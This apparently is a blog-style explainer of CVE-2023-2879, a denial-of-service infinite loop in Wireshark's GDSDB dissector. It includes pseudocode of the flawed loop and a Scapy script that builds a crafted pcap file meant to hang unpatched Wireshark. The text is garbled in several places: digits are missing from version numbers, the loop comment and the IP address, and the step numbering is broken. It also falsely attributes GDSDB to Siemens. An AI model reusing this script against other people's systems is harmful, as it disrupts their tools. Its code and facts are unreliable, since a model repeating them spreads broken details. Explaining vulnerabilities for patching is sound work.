CVE-2023-2879 - Exploiting GDSDB Infinite Loop in Wireshark 4.x and 3.6.x for Denial of Service

Wireshark is one of the world’s most popular network protocol analyzers. Security people and network admins use it daily to inspect and troubleshoot network traffic. But like any software, Wireshark can have vulnerabilities—in this post, we are diving into one such flaw: CVE-2023-2879.

This vulnerability lets an attacker crash Wireshark (making it hang forever, “Denial of Service” style) just by sending a malicious network packet. That means if you capture network traffic from a compromised source, or open a poisoned packet capture file someone sends you, the app could freeze up until you force close it. Let’s explore what happened, how it works, and how you can protect yourself.

Wireshark 3.6. through 3.6.13

The problem lies in Wireshark’s GDSDB protocol dissector: that’s a piece of code Wireshark uses when trying to analyze network packets related to GDSDB (a piece of software/database system used by Siemens and others).

If Wireshark receives a maliciously crafted packet or opens an evil capture file (.pcap), it triggers an infinite loop in the GDSDB dissector—basically, Wireshark gets stuck forever trying to figure out the broken data, hogging CPU until you kill it.

Where Can I Read More?

- Wireshark Security Advisory
- National Vulnerability Database Entry
- Commit Fixing the Issue

How Does the Exploit Work? (With Code Example)

Here’s a step-by-step breakdown, and then we’ll look at some code.

Attacker creates a crafted network packet (or a .pcap file).

2. The malicious packet is designed so that, when Wireshark’s GDSDB dissector processes it, it falls into an infinite loop.

Here’s a simplified chunk of code (C-like pseudocode) that caused the issue

while (offset < tvb_reported_length(tvb)) {
    guint16 len = tvb_get_guint16(tvb, offset, little_endian);
    // Problem: If len == , offset does not increase, so the loop never ends!
    offset += len;
}

In malicious packets, len can be set to zero. If that happens, offset never goes up, so the while loop never exits.

Simulating a Malicious Packet (Python Scapy Example)

Below is simplified Python code using Scapy to generate a malformed capture file that will trigger the issue, so you can see what attackers do. Warning: Do not open this in an unpatched Wireshark.

from scapy.all import *

# Create a fake UDP packet with a GDSDB payload that will cause trouble
# Let's say GDSDB uses port 102—change as needed
packet = IP(dst="192.168..1") / UDP(dport=102, sport=12345) / b"\x00\x00\x00\x00"

# Write it to a pcap file
wrpcap("evil_gdsdb.pcap", [packet])

How Bad Is This?

- Severity: This is “Denial of Service,” meaning the app gets stuck but no code execution happens (so no hacking the entire system directly).
- Remote risk: If you have Wireshark capturing live traffic, and someone can send you malicious packets (say, on an open lab network), they can lock your GUI up from far away.

Summary

CVE-2023-2879 shows how even powerful, trusted tools like Wireshark can be crippled by small bugs in code that tries to handle bad network data. It’s a great reminder: always update your security tools, and never open files from people you don’t trust. If you’re a developer, remember zero-length values in loops can be dangerous!

Timeline

Published on: 05/26/2023 21:15:00 UTC
Last modified on: 06/16/2023 04:15:00 UTC